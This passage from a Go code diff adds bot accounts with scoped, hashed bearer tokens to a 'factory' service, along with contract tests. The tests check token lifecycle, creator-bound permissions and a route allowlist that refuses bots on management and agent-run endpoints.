store.BotTokenRemoved: + words = "that bot was removed" + case store.BotTokenDisabled: + words = store.ErrBotDisabled.Error() + } + w.Header().Set("WWW-Authenticate", `Bearer realm="factory"`) + h.refuse(w, http.StatusUnauthorized, words, string(state), "", nil, "") +} + +func (h *Handler) botActor(w http.ResponseWriter, r *http.Request) (person string, operator, ok bool) { + if !h.require(w, h.config.Store != nil) { + return "", false, false + } + if _, agent := agentCallOf(r); agent { + h.fail(w, http.StatusForbidden, botRouteRefused) + return "", false, false + } + // A link with no signed-in profile cannot claim the host's identity. + if !h.allowed(r) { + h.fail(w, http.StatusUnauthorized, "sign in to manage bots") + return "", false, false + } + operator = h.isOperator(r) + if !h.profileless(r) { + person = h.orgActor(r) + } + if person == "" && !operator { + h.fail(w, http.StatusForbidden, "sign in as a person to manage bots") + return "", false, false + } + return person, operator, true +} + +func (h *Handler) listBots(w http.ResponseWriter, r *http.Request) { + person, operator, ok := h.botActor(w, r) + if !ok { + return + } + if operator { + person = "" + } + bots, err := h.config.Store.Bots(person) + if !h.failed(w, err) { + h.write(w, http.StatusOK, api.BotList{Bots: bots}) + } +} + +func newBotToken(now time.Time, label string) (store.BotToken, string, error) { + id, err := cell.NewID(now) + if err != nil { + return store.BotToken{}, "", err + } + var bytes [botTokenBytes]byte + if _, err := rand.Read(bytes[:]); err != nil { + return store.BotToken{}, "", err + } + secret := base64.RawURLEncoding.EncodeToString(bytes[:]) + return store.BotToken{ID: botTokenIDPrefix + id, Label: label, Hint: secret[:botTokenHintSize]}, botTokenPrefix + secret, nil +} + +func (h *Handler) createBot(w http.ResponseWriter, r *http.Request) { + person, _, ok := h.botActor(w, r) + if !ok { + return + } + if person == "" { + h.fail(w, http.StatusForbidden, "sign in as a person to make a bot") + return + } + var input api.BotNew + if !h.decode(w, r, &input, false) { + return + } + name, scope := strings.TrimSpace(input.Name), strings.TrimSpace(input.Scope) + if err := plainWords("a bot name", name, 1, botNameMost); err != nil { + h.fail(w, http.StatusUnprocessableEntity, err.Error()) + return + } + if scope != "" { + policy, err := h.config.Store.OrgPolicy() + if h.failed(w, err) { + return + } + if _, exists := policy.Role(scope); !exists { + h.fail(w, http.StatusUnprocessableEntity, "that bot scope is not an organization role") + return + } + } + now := h.now() + id, err := cell.NewID(now) + if h.failed(w, err) { + return + } + tok, secret, err := newBotToken(now, "Initial token") + if h.failed(w, err) { + return + } + // Check the sign-in again while serialized with removal so a request + // waiting on a removal cannot create a bot with the old session. + h.botCreateMu.Lock() + if !h.allowed(r) { + h.botCreateMu.Unlock() + h.fail(w, http.StatusUnauthorized, "sign in to manage bots") + return + } + bot, err := h.config.Store.CreateBot(store.Bot{ID: botIDPrefix + id, Name: name, Creator: person, Scope: scope}, tok, sessionHash(secret), now) + h.botCreateMu.Unlock() + if h.botFailed(w, err) { + return + } + h.recordBot(r, bot, "created bot") + h.write(w, http.StatusCreated, api.BotCreated{Bot: bot, Token: secret}) +} + +func (h *Handler) findManagedBot(w http.ResponseWriter, r *http.Request, mint bool) (store.Bot, bool) { + person, operator, ok := h.botActor(w, r) + if !ok { + return store.Bot{}, false + } + bot, err := h.config.Store.Bot(r.PathValue("bot")) + if h.botFailed(w, err) { + return store.Bot{}, false + } + if person == bot.Creator { + return bot, true + } + if !operator { + h.fail(w, http.StatusNotFound, store.ErrBotGone.Error()) + } else if mint { + h.fail(w, http.StatusForbidden, "only a bot's creator can mint its tokens") + } else { + return bot, true + } + return store.Bot{}, false +} + +func (h *Handler) createBotToken(w http.ResponseWriter, r *http.Request) { + bot, ok := h.findManagedBot(w, r, true) + if !ok { + return + } + var input api.BotTokenNew + if !h.decode(w, r, &input, true) { + return + } + label := strings.TrimSpace(input.Label) + now := h.now() + var expires *time.Time + if input.ExpiresAt != "" { + at, err := time.Parse(time.RFC3339, input.ExpiresAt) + if err != nil || !at.After(now) { + h.fail(w, http.StatusUnprocessableEntity, "expires_at must be a future time in RFC 3339") + return + } + expires = &at + } + tok, secret, err := newBotToken(now, label) + if h.failed(w, err) { + return + } + tok, err = h.config.Store.AddBotToken(bot.ID, tok, sessionHash(secret), now, expires) + if h.botFailed(w, err) { + return + } + h.recordBot(r, bot, "minted bot token") + h.write(w, http.StatusCreated, api.BotTokenCreated{ID: tok.ID, Token: secret, Label: tok.Label, + Hint: tok.Hint, CreatedAt: tok.CreatedAt, ExpiresAt: tok.ExpiresAt}) +} + +func (h *Handler) revokeBotToken(w http.ResponseWriter, r *http.Request) { + bot, ok := h.findManagedBot(w, r, false) + if !ok || h.botFailed(w, h.config.Store.RevokeBotToken(bot.ID, r.PathValue("token"), h.now())) { + return + } + h.recordBot(r, bot, "revoked bot token") + h.finish(w, nil) +} + +func (h *Handler) removeBot(w http.ResponseWriter, r *http.Request) { + bot, ok := h.findManagedBot(w, r, false) + if !ok || h.botFailed(w, h.config.Store.RemoveBot(bot.ID)) { + return + } + h.recordBot(r, bot, "removed bot") + h.finish(w, nil) +} + +func (h *Handler) recordBot(r *http.Request, bot store.Bot, verb string) { + h.recordOrg(r, record.SettingsChanged, "changed settings", botAgentPrefix+bot.ID, verb+" "+bot.Name) +} + +func (h *Handler) botFailed(w http.ResponseWriter, err error) bool { + switch { + case errors.Is(err, store.ErrBotGone), errors.Is(err, store.ErrBotTokenGone): + h.fail(w, http.StatusNotFound, err.Error()) + case errors.Is(err, store.ErrBotNameTaken), errors.Is(err, store.ErrBotLimit), + errors.Is(err, store.ErrBotTokenLimit), errors.Is(err, store.ErrBotDisabled): + h.fail(w, http.StatusConflict, err.Error()) + default: + return h.failed(w, err) + } + return true +} diff --git a/internal/factory/serve/bots_test.go b/internal/factory/serve/bots_test.go new file mode 100644 index 0000000000..9a16a3210b --- /dev/null +++ b/internal/factory/serve/bots_test.go @@ -0,0 +1,458 @@ +package serve + +import ( + "bytes" + "context" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "io/fs" + "net/http/httptest" + "os" + "path/filepath" + "regexp" + "slices" + "strconv" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/factory/api" + "github.com/Agent-Field/codeaf/internal/factory/canvasrpc" + "github.com/Agent-Field/codeaf/internal/factory/store" +) + +func contractBotRequest(t *testing.T, h *Handler, method, path, peer, token string, body any, rev int, headers map[string]string, status int, out any) *httptest.ResponseRecorder { + t.Helper() + var raw []byte + if body != nil { + var err error + raw, err = json.Marshal(body) + if err != nil { + t.Fatal(err) + } + } + r := httptest.NewRequest(method, path, bytes.NewReader(raw)) + r.RemoteAddr = peer + if token != "" { + r.Header.Set("Authorization", "Bearer "+token) + } + for name, value := range headers { + r.Header.Set(name, value) + } + if rev >= 0 { + r.Header.Set("If-Match", strconv.Itoa(rev)) + } + w := httptest.NewRecorder() + h.ServeHTTP(w, r) + if w.Code != status { + t.Fatalf("%s %s: %d %s, want %d", method, path, w.Code, w.Body, status) + } + if out != nil { + if err := json.Unmarshal(w.Body.Bytes(), out); err != nil { + t.Fatal(err) + } + } + return w +} + +func (o *wsOrg) contractBot(t *testing.T, creator, name, scope string) api.BotCreated { + t.Helper() + var created api.BotCreated + o.do(t, creator, "POST", "/v1/bots", -1, api.BotNew{Name: name, Scope: scope}, 201, &created) + return created +} + +func (o *wsOrg) botDo(t *testing.T, token, method, path string, rev int, body any, status int, out any) *httptest.ResponseRecorder { + t.Helper() + return contractBotRequest(t, o.h, method, path, "192.0.2.1:1234", token, body, rev, nil, status, out) +} + +func assertBotRefusal(t *testing.T, w *httptest.ResponseRecorder, words string) { + t.Helper() + var body struct{ Error string } + if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil || !strings.Contains(body.Error, words) { + t.Fatalf("wanted %q in the refusal, got %s", words, w.Body) + } + if w.Code == 401 && w.Header().Get("WWW-Authenticate") == "" { + t.Fatal("missing bearer challenge") + } +} + +func TestContractC5BotSecretAppearsOnlyOnce(t *testing.T) { + o := newWSOrg(t) + const path, name, creator = "/v1/bots", "Build helper", "santosh" + key := map[string]string{"Idempotency-Key": "a-mint-attempt"} + body := api.BotNew{Name: name} + var created api.BotCreated + contractBotRequest(t, o.h, "POST", path, "192.0.2.1:1234", o.tokens[creator], body, -1, key, 201, &created) + if !regexp.MustCompile(`^bt_[0-9A-HJKMNP-TV-Z]{26}$`).MatchString(created.Bot.ID) || + !regexp.MustCompile(`^cbt_[A-Za-z0-9_-]{43}$`).MatchString(created.Token) || + created.Bot.Name != name || created.Bot.Creator != creator || len(created.Bot.Tokens) != 1 { + t.Fatalf("invalid bot or credential shape for %q", created.Bot.ID) + } + duplicate := contractBotRequest(t, o.h, "POST", path, "192.0.2.1:1234", o.tokens[creator], body, -1, key, 409, nil) + if strings.Contains(duplicate.Body.String(), created.Token) { + t.Fatal("the original secret was replayed") + } + o.do(t, creator, "POST", path, -1, api.BotNew{Name: strings.ToUpper(name)}, 409, nil) + o.do(t, creator, "POST", path, -1, api.BotNew{Name: strings.Repeat("a", 61)}, 422, nil) + o.do(t, creator, "POST", path, -1, api.BotNew{Name: "two\nlines"}, 422, nil) + o.contractBot(t, "mia", name, "") + mintPath := path + "/" + created.Bot.ID + "/tokens" + var rotated api.BotTokenCreated + contractBotRequest(t, o.h, "POST", mintPath, "192.0.2.1:1234", o.tokens[creator], api.BotTokenNew{Label: "rotation"}, -1, key, 201, &rotated) + if rotated.Token == created.Token || rotated.Label != "rotation" || rotated.ID == "" { + t.Fatal("rotation did not issue its own credential") + } + var listed api.BotList + reply := o.botDo(t, o.tokens[creator], "GET", path, -1, nil, 200, &listed) + if len(listed.Bots) != 1 || len(listed.Bots[0].Tokens) != 2 { + t.Fatalf("list = %+v", listed.Bots) + } + for _, secret := range []string{created.Token, rotated.Token} { + hint := strings.TrimPrefix(secret, "cbt_")[:8] + if !slices.ContainsFunc(listed.Bots[0].Tokens, func(tok store.BotToken) bool { return tok.Hint == hint }) { + t.Fatal("the token hint is missing") + } + sum := sha256.Sum256([]byte(secret)) + hash := hex.EncodeToString(sum[:]) + if strings.Contains(reply.Body.String(), secret) || strings.Contains(reply.Body.String(), hash) { + t.Fatal("the list contains a credential or its hash") + } + db := filepath.Join(o.st.Root(), store.WorkstreamsDB) + data, err := os.ReadFile(db) + if err != nil || !bytes.Contains(data, []byte(hash)) { + t.Fatalf("the SQLite file does not hold the token hash: %v", err) + } + if err := filepath.WalkDir(o.st.Root(), func(path string, entry fs.DirEntry, err error) error { + if err != nil || !entry.Type().IsRegular() { + return err + } + data, err := os.ReadFile(path) + if err == nil && bytes.Contains(data, []byte(secret)) { + t.Errorf("a plain credential was saved in %s", path) + } + if err == nil && path != db && bytes.Contains(data, []byte(hash)) { + t.Errorf("a credential hash was saved outside SQLite in %s", path) + } + return err + }); err != nil { + t.Fatal(err) + } + } + events, err := o.h.config.Record.Since(context.Background(), time.Time{}) + if err != nil { + t.Fatal(err) + } + var details []string + for _, event := range events { + if event.Object == "bot:"+created.Bot.ID && event.Actor.Kind == "person" && event.Handle == creator { + details = append(details, event.Detail) + } + } + for _, want := range []string{"created bot " + name, "minted bot token " + name} { + if !slices.Contains(details, want) { + t.Fatalf("record is missing %q: %v", want, details) + } + } + for n := 1; n < 20; n++ { + o.contractBot(t, creator, "Helper "+strconv.Itoa(n), "") + } + o.do(t, creator, "POST", path, -1, api.BotNew{Name: "One too many"}, 409, nil) +} + +func TestContractC6BotRightsFollowTheCreatorAndCurrentPolicy(t *testing.T) { + o := newWSOrg(t) + o.h.config.WorkstreamAgent = func(context.Context, AgentTurn) (AgentTurnEnd, error) { + t.Error("creating a chat started an agent") + return AgentTurnEnd{}, nil + } + ws, chats := chatsSharedWorkstream(t, o) + path := "/v1/workstreams/" + ws + bot := o.contractBot(t, "abir", "Writer", "") + hidden := o.create(t, "santosh", api.WorkstreamNew{Name: "Hidden", Private: true}) + o.botDo(t, bot.Token, "GET", "/v1/workstreams/"+hidden.ID, -1, nil, 404, nil) + var current api.Workstream + o.botDo(t, bot.Token, "GET", path, -1, nil, 200, ¤t) + edit := map[string]any{"purpose": "A scoped edit"} + o.botDo(t, bot.Token, "PATCH", path, current.Rev, edit, 200, ¤t) + key := map[string]string{"Idempotency-Key": "a-previously-authorized-request"} + chat := api.AgentChatNew{Title: "Scoped draft"} + contractBotRequest(t, o.h, "POST", chats, "192.0.2.1:1234", bot.Token, chat, -1, key, 201, nil) + o.setAccessPolicy(t, func(p *acl.Policy) { p.Agents.Scopes = map[string]string{"bot:" + bot.Bot.ID: "view"} }) + o.botDo(t, bot.Token, "PATCH", path, current.Rev, edit, 403, nil) + o.do(t, "abir", "PATCH", path, current.Rev, edit, 200, ¤t) + o.setAccessPolicy(t, func(p *acl.Policy) { + p.Agents.Scopes = nil + p.Agents.MayCreate = false + }) + w := o.botDo(t, bot.Token, "POST", chats, -1, api.AgentChatNew{Title: "No chat"}, 403, nil) + assertBotRefusal(t, w, "agents cannot create resources") + w = o.botDo(t, bot.Token, "POST", path+"/agent/messages", -1, nil, 403, nil) + assertBotRefusal(t, w, "a bot cannot start an agent run yet") + shares := []factory.Share{} + o.do(t, "santosh", "PUT", path+"/shares", -1, api.WorkstreamSharesPut{Shares: &shares}, 200, nil) + o.botDo(t, bot.Token, "GET", path, -1, nil, 404, nil) + o.botDo(t, bot.Token, "PATCH", path, current.Rev, edit, 404, nil) + contractBotRequest(t, o.h, "POST", chats, "192.0.2.1:1234", bot.Token, chat, -1, key, 404, nil) +} + +func TestContractC6bBotOwnScopeFailsClosed(t *testing.T) { + o := newWSOrg(t) + contractSpace(t, o, "abir") + ws := o.create(t, "abir", api.WorkstreamNew{Name: "Sponsor owned"}) + path := "/v1/workstreams/" + ws.ID + o.do(t, "abir", "POST", "/v1/bots", -1, api.BotNew{Name: "Invalid", Scope: "missing"}, 422, nil) + view := o.contractBot(t, "abir", "Viewer", "view") + edit := map[string]any{"purpose": "Only the creator can change this"} + o.botDo(t, view.Token, "GET", path, -1, nil, 200, nil) + o.botDo(t, view.Token, "PATCH", path, ws.Rev, edit, 403, nil) + o.do(t, "abir", "PATCH", path, ws.Rev, edit, 200, &ws) + o.setAccessPolicy(t, func(p *acl.Policy) { + p.Roles = append(p.Roles, acl.Role{Name: "reader", Verbs: []string{"view"}}) + }) + bot := o.contractBot(t, "abir", "Custom viewer", "reader") + o.botDo(t, bot.Token, "GET", path, -1, nil, 200, nil) + o.setAccessPolicy(t, func(p *acl.Policy) { + p.Roles = slices.DeleteFunc(p.Roles, func(role acl.Role) bool { return role.Name == "reader" }) + }) + o.botDo(t, bot.Token, "GET", path, -1, nil, 404, nil) + o.botDo(t, bot.Token, "GET", "/v1/myspace", -1, nil, 404, nil) +} + +func TestContractC6NamedAgentIDsCannotClaimABotID(t *testing.T) { + o := newWSOrg(t) + bot := o.contractBot(t, "abir", "Bot", "") + body := map[string]string{"name": "Named agent", "instructions": "Write summaries", "id": "bot:" + bot.Bot.ID} + o.do(t, "abir", "POST", "/v1/agents", -1, body, 422, nil) + delete(body, "id") + var agent api.OrgAgent + o.do(t, "abir", "POST", "/v1/agents", -1, body, 201, &agent) + if !regexp.MustCompile(`^ag_[0-9A-HJKMNP-TV-Z]{26}$`).MatchString(agent.ID) { + t.Fatalf("named agent has unexpected id %q", agent.ID) + } +} + +func TestContractC7BotChatKeepsCreatorOwnershipAndIsPrivate(t *testing.T) { + o := newWSOrg(t) + o.h.config.WorkstreamAgent = func(context.Context, AgentTurn) (AgentTurnEnd, error) { + t.Error("creating a chat started an agent") + return AgentTurnEnd{}, nil + } + _, list := chatsSharedWorkstream(t, o) + bot := o.contractBot(t, "abir", "Chat maker", "") + var chat api.AgentChat + o.botDo(t, bot.Token, "POST", list, -1, api.AgentChatNew{Title: "Private draft"}, 201, &chat) + path := "/v1/resources/chat/" + chat.ID + var resource api.OrgResource + o.do(t, "abir", "GET", path, -1, nil, 200, &resource) + want := acl.Principal{Kind: "bot", ID: bot.Bot.ID, Sponsor: "abir"} + if resource.Owner != (acl.Subject{Kind: "person", ID: "abir"}) || + resource.Visibility != "private" || resource.CreatedBy == nil || *resource.CreatedBy != want { + t.Fatalf("chat resource = %+v, created_by = %+v", resource, resource.CreatedBy) + } + for _, who := range []string{"santosh", "mia", "owner"} { + if others := othersOf(t, o, who, list); len(others) != 0 { + t.Fatalf("%s was shown a private chat: %+v", who, others) + } + o.do(t, who, "GET", path, -1, nil, 404, nil) + } + var mine api.AgentChatList + o.do(t, "abir", "GET", list, -1, nil, 200, &mine) + if len(mine.Chats) != 1 || mine.Chats[0].ID != chat.ID { + t.Fatalf("creator's chat list = %+v", mine) + } + o.do(t, "abir", "DELETE", "/v1/bots/"+bot.Bot.ID, -1, nil, 200, nil) + o.do(t, "abir", "GET", path, -1, nil, 200, nil) +} + +func TestContractC8BotTokenLifecycle(t *testing.T) { + o := newWSOrg(t) + const about = "/v1/about" + bot := o.contractBot(t, "abir", "Rotator", "") + path := "/v1/bots/" + bot.Bot.ID + var expiring, replacement api.BotTokenCreated + o.do(t, "abir", "POST", path+"/tokens", -1, api.BotTokenNew{ExpiresAt: o.now.Add(time.Minute).Format(time.RFC3339Nano)}, 201, &expiring) + o.do(t, "abir", "POST", path+"/tokens", -1, nil, 201, &replacement) + o.do(t, "abir", "POST", path+"/tokens", -1, nil, 409, nil) + o.botDo(t, bot.Token, "GET", about, -1, nil, 200, nil) + lastUsed := func() string { + t.Helper() + var list api.BotList + o.do(t, "abir", "GET", "/v1/bots", -1, nil, 200, &list) + for _, token := range list.Bots[0].Tokens { + if token.ID == bot.Bot.Tokens[0].ID && token.LastUsedAt != nil { + return *token.LastUsedAt + } + } + t.Fatal("the token has no last-used time") + return "" + } + firstUse := lastUsed() + o.now = o.now.Add(time.Second) + o.botDo(t, bot.Token, "GET", about, -1, nil, 200, nil) + if lastUsed() != firstUse { + t.Fatal("a second use inside a minute rewrote last-used time") + } + o.now = o.now.Add(time.Minute) + o.botDo(t, bot.Token, "GET", about, -1, nil, 200, nil) + if lastUsed() <= firstUse { + t.Fatal("last-used time did not move after a minute") + } + assertBotRefusal(t, o.botDo(t, expiring.Token, "GET", about, -1, nil, 401, nil), "has expired") + o.do(t, "abir", "POST", path+"/tokens", -1, nil, 201, nil) + o.do(t, "owner", "DELETE", path+"/tokens/"+bot.Bot.Tokens[0].ID, -1, nil, 200, nil) + assertBotRefusal(t, o.botDo(t, bot.Token, "GET", about, -1, nil, 401, nil), "was revoked") + o.do(t, "abir", "DELETE", path, -1, nil, 200, nil) + assertBotRefusal(t, o.botDo(t, replacement.Token, "GET", about, -1, nil, 401, nil), "bot was removed") + + leaving := o.contractBot(t, "mia", "Mia bot", "") + o.h.config.Team = []string{"owner"} + assertBotRefusal(t, o.botDo(t, leaving.Token, "GET", about, -1, nil, 403, nil), "is not on the factory team") + o.h.config.Team = nil + o.botDo(t, leaving.Token, "GET", about, -1, nil, 200, nil) + o.do(t, "owner", "DELETE", "/v1/people/mia/sessions", -1, nil, 200, nil) + assertBotRefusal(t, o.botDo(t, leaving.Token, "GET", about, -1, nil, 401, nil), "switched off") + var all api.BotList + o.do(t, "owner", "GET", "/v1/bots", -1, nil, 200, &all) + if len(all.Bots) != 1 || all.Bots[0].DisabledAt == nil || all.Bots[0].Tokens[0].RevokedAt == nil { + t.Fatalf("disabled bot metadata = %+v", all.Bots) + } + remaining := o.contractBot(t, "abir", "After the reset", "") + o.do(t, "owner", "POST", "/v1/access/revoke-sessions", -1, nil, 200, nil) + o.botDo(t, remaining.Token, "GET", about, -1, nil, 200, nil) +} + +func TestContractC8bBotBearerNeverFallsBack(t *testing.T) { + const configured = "cbt_configured-host-token" + for _, servedBy := range []string{"factory", "app"} { + t.Run(servedBy, func(t *testing.T) { + h := New(factory.Seam{}, Config{ServedBy: servedBy, AccessToken: configured, LoopbackTrust: boolPtr(true)}) + t.Cleanup(h.Close) + for _, token := range []string{"cbt_unknown", configured} { + w := contractBotRequest(t, h, "GET", "/v1/me", "127.0.0.1:1234", token, nil, -1, nil, 401, nil) + words := "not recognized" + if servedBy == "app" { + words = "the app bearer token is required" + } + assertBotRefusal(t, w, words) + } + }) + } +} + +func TestContractC9BotManagementAndRouteAllowlist(t *testing.T) { + o := newWSOrg(t) + o.h.config.Canvas = canvasrpc.New(filepath.Join(t.TempDir(), "unused-sidecar"), o.st.CanvasRoot()) + o.h.canvasRoutes() + bot := o.contractBot(t, "abir", "Abir bot", "") + other := o.contractBot(t, "mia", "Mia bot", "") + path := "/v1/bots/" + bot.Bot.ID + tokensPath := path + "/tokens" + tokenPath := tokensPath + "/" + bot.Bot.Tokens[0].ID + ws := o.create(t, "abir", api.WorkstreamNew{Name: "Bot work"}) + workstream := "/v1/workstreams/" + ws.ID + contractSpace(t, o, "abir") + for _, path := range []string{"/v1/workstreams", workstream, "/v1/canvases", "/v1/resources", + "/v1/myspace", "/v1/org/policy", "/v1/members", "/v1/teams", "/v1/about"} { + t.Run(path, func(t *testing.T) { o.botDo(t, bot.Token, "GET", path, -1, nil, 200, nil) }) + } + for _, tc := range []struct{ method, path string }{ + {"GET", "/v1/bots"}, {"POST", "/v1/bots"}, {"POST", tokensPath}, {"DELETE", tokenPath}, {"DELETE", path}, + {"GET", "/v1/me"}, {"POST", "/v1/auth/password"}, {"GET", "/v1/invites"}, + {"POST", "/v1/access/revoke-sessions"}, {"GET", "/v1/events"}, {"GET", "/v1/jobs/1"}, + {"GET", "/v1/runners"}, {"GET", "/v1/repos"}, {"GET", "/v1/people"}, {"GET", "/v1/people/abir"}, + {"DELETE", "/v1/people/mia/sessions"}, {"PUT", "/v1/org/policy"}, {"POST", "/v1/teams"}, {"PUT", "/v1/myspace/limit"}, + {"GET", "/v1/workstreams/requestable"}, {"POST", workstream + "/requests"}, {"PUT", workstream + "/driver"}, + {"PUT", workstream + "/jobs/1"}, {"POST", workstream + "/tasks/" + factory.JobTaskID(1) + "/answer"}, + {"GET", "/v1/workstreams-extra"}, + } { + t.Run(tc.method+" "+tc.path, func(t *testing.T) { + assertBotRefusal(t, o.botDo(t, bot.Token, tc.method, tc.path, -1, nil, 403, nil), "a bot cannot use this yet") + }) + } + for _, path := range []string{workstream + "/agent", workstream + "/%61gent/messages", workstream + "/agent/stop"} { + assertBotRefusal(t, o.botDo(t, bot.Token, "GET", path, -1, nil, 403, nil), "a bot cannot start an agent run yet") + } + cookie := map[string]string{"Cookie": accessCookieName + "=" + o.tokens["abir"]} + w := contractBotRequest(t, o.h, "POST", "/v1/bots", "192.0.2.1:1234", bot.Token, api.BotNew{Name: "No"}, -1, cookie, 400, nil) + assertBotRefusal(t, w, "send one credential") + o.do(t, "", "POST", "/v1/bots", -1, api.BotNew{Name: "No"}, 401, nil) + var mine, all api.BotList + o.do(t, "mia", "GET", "/v1/bots", -1, nil, 200, &mine) + if len(mine.Bots) != 1 || mine.Bots[0].ID != other.Bot.ID { + t.Fatalf("member list = %+v", mine.Bots) + } + o.do(t, "mia", "POST", tokensPath, -1, nil, 404, nil) + o.do(t, "mia", "DELETE", tokenPath, -1, nil, 404, nil) + o.do(t, "mia", "DELETE", path, -1, nil, 404, nil) + history := o.botDo(t, o.tokens["mia"], "GET", "/v1/audit", -1, nil, 200, nil) + if strings.Contains(history.Body.String(), bot.Bot.ID) || strings.Contains(history.Body.String(), bot.Bot.Name) { + t.Fatal("another person's bot appeared in organization activity") + } + o.do(t, "owner", "GET", "/v1/bots", -1, nil, 200, &all) + if len(all.Bots) != 2 { + t.Fatalf("operator list = %+v", all.Bots) + } + o.do(t, "owner", "POST", tokensPath, -1, nil, 403, nil) + o.do(t, "owner", "DELETE", path, -1, nil, 200, nil) +} + +func TestContractC11BotTokenCannotUseAWorkerDoor(t *testing.T) { + o := newWSOrg(t) + bot := o.contractBot(t, "abir", "Worker candidate", "") + for _, path := range []string{"/v1/workers/pull", "/v1/runners/pull"} { + w := o.botDo(t, bot.Token, "GET", path, -1, nil, 401, nil) + assertBotRefusal(t, w, "a bearer worker credential is required") + } + var me api.Me + o.do(t, "abir", "GET", "/v1/me", -1, nil, 200, &me) + if me.Profile.Handle != "abir" || me.Operator { + t.Fatalf("person session no longer has its own identity: %+v", me.Profile) + } + o.botDo(t, o.cfg.AccessToken, "GET", "/v1/me", -1, nil, 200, &me) +} + +func TestContractC6BotCannotUseAfiExceptionsOrStartTaskRuns(t *testing.T) { + o, path, page := commentOrg(t, "edit") + o.h.config.WorkstreamAgent = func(context.Context, AgentTurn) (AgentTurnEnd, error) { + t.Error("the bot started an agent") + return AgentTurnEnd{}, nil + } + bot := o.contractBot(t, "santosh", "Editor", "") + commentPath := path + "/pages/" + page + "/comments" + missingBlock := launchPassage + missingBlock.Block = nil + o.botDo(t, bot.Token, "POST", commentPath, -1, missingBlock, 422, nil) + o.botDo(t, bot.Token, "POST", commentPath, -1, launchPassage, 201, nil) + + task := o.task(t, "santosh", path, api.TaskCreate{Title: "Afi task", DoneBy: factory.TaskDoneBy{Kind: factory.TaskByAfi}}) + taskPath := path + "/tasks/" + task.ID + w := o.botDo(t, bot.Token, "PATCH", taskPath, task.Rev, map[string]any{"state": factory.TaskRunning}, 403, nil) + assertBotRefusal(t, w, "a bot cannot start an agent run yet") + o.botDo(t, bot.Token, "DELETE", taskPath, task.Rev, nil, 403, nil) +} + +func TestContractC6BotTaskReadsDoNotInheritHostRepositoryAccess(t *testing.T) { + o := newWSOrg(t) + ws := o.create(t, "abir", api.WorkstreamNew{Name: "Job visibility"}) + path := "/v1/workstreams/" + ws.ID + if err := o.st.SetRepos([]string{"org/open"}); err != nil { + t.Fatal(err) + } + for _, repo := range []string{"org/open", "private/repo"} { + _, err := o.st.Create(factory.Item{Title: repo, Repo: repo, PolicyGroup: ws.ID, Kind: factory.KindIssue, State: factory.StateQueued}) + if err != nil { + t.Fatal(err) + } + } + bot := o.contractBot(t, "abir", "Task reader", "") + var tasks api.WorkstreamTasks + o.botDo(t, bot.Token, "GET", path+"/tasks", -1, nil, 200, &tasks) + if len(tasks.Tasks) != 1 || tasks.Tasks[0].Title != "org/open" { + t.Fatalf("bot's task list includes jobs outside the organization: %+v", tasks.Tasks) + } +} diff --git a/internal/factory/serve/canvases.go b/internal/factory/serve/canvases.go index 0c61f741e5..885b8e4b25 100644 --- a/internal/factory/serve/canvases.go +++ b/internal/factory/serve/canvases.go @@ -468,6 +468,10 @@ func (h *Handler) createCanvas(w http.ResponseWriter, r *http.Request) { c.Owner = factory.WorkstreamOwner{Kind: "person", ID: v.Handle} c.AgentCreated = true } + if isBotCall(r) && (!can(v, h.canvasItem(c), factory.RoleEdit) || len(c.Shares) > 0) { + h.fail(w, http.StatusForbidden, "a bot needs edit permission to make a canvas and can only share it after creation") + return + } var created struct { ID string `json:"id"` } diff --git a/internal/factory/serve/device.go b/internal/factory/serve/device.go index 9d48faaf0b..22a00afcc6 100644 --- a/internal/factory/serve/device.go +++ b/internal/factory/serve/device.go @@ -196,7 +196,7 @@ func (h *Handler) pollDevice(w http.ResponseWriter, r *http.Request) { } if !h.teamAllows(handle) { h.forgetDevice(body.DeviceCode, flow) - h.fail(w, http.StatusForbidden, "this GitHub handle is not on the factory team") + h.fail(w, http.StatusForbidden, teamHandleRefusal) return } profile := api.Profile{Handle: handle, Name: user.Name, AvatarURL: user.AvatarURL, diff --git a/internal/factory/serve/idempotency.go b/internal/factory/serve/idempotency.go index 5cfaba60a8..b85fcaab7c 100644 --- a/internal/factory/serve/idempotency.go +++ b/internal/factory/serve/idempotency.go @@ -38,7 +38,10 @@ func (h *Handler) idempotent(w http.ResponseWriter, r *http.Request) { // written to a replay row, on disk or in memory. // A preview reads the current audience on every request. grantPreview := strings.HasPrefix(r.URL.Path, "/v1/resources/") && strings.HasSuffix(r.URL.Path, "/grants/preview") - if r.Method != http.MethodPost || key == "" || grantPreview || r.URL.Path == "/v1/factory-access" || r.URL.Path == "/v1/auth/password" || r.URL.Path == "/v1/me/password" { + // Bot minting returns a secret once, so it cannot use the reply cache. + botMint := r.URL.Path == botsPath || strings.HasPrefix(r.URL.Path, botsPath+"/") + // A bot must reach the item evaluator again even after it has made the same request. + if r.Method != http.MethodPost || key == "" || grantPreview || botMint || isBotCall(r) || r.URL.Path == "/v1/factory-access" || r.URL.Path == "/v1/auth/password" || r.URL.Path == "/v1/me/password" { h.mux.ServeHTTP(w, r) return } diff --git a/internal/factory/serve/item_access.go b/internal/factory/serve/item_access.go index dce72802e6..cd101a6505 100644 --- a/internal/factory/serve/item_access.go +++ b/internal/factory/serve/item_access.go @@ -96,8 +96,12 @@ func (h *Handler) itemViewer(r *http.Request) (Viewer, error) { v.Operator = v.Solo || h.isOperator(r) v.Member = v.Solo || v.Member && !h.profileless(r) if call, ok := agentCallOf(r); ok && call.agent != "" { - v.Agent = &acl.Agent{ID: call.agent, Sponsor: v.Handle} - v.Operator = v.Solo || v.Handle != "" && v.Handle == factory.NormalizeHandle(h.operatorLogin(r)) + v.Agent = &acl.Agent{ID: call.agent, Sponsor: v.Handle, Only: call.only} + if call.bot == "" { + v.Operator = v.Solo || v.Handle != "" && v.Handle == factory.NormalizeHandle(h.operatorLogin(r)) + } else { + v.Operator = false + } } return v, nil } diff --git a/internal/factory/serve/myspace.go b/internal/factory/serve/myspace.go index dd4670c7ae..647399a7f1 100644 --- a/internal/factory/serve/myspace.go +++ b/internal/factory/serve/myspace.go @@ -113,9 +113,24 @@ func (h *Handler) getMySpace(w http.ResponseWriter, r *http.Request) { h.fail(w, http.StatusForbidden, "My space is someone's; sign in first") return } - space, err := h.ensureSpace(v.Handle) - if h.failed(w, err) { - return + var space factory.OrgWorkstream + if isBotCall(r) { + // The bot reads its creator's existing space through the item evaluator. + all, err := h.config.Store.Workstreams() + if h.failed(w, err) { + return + } + 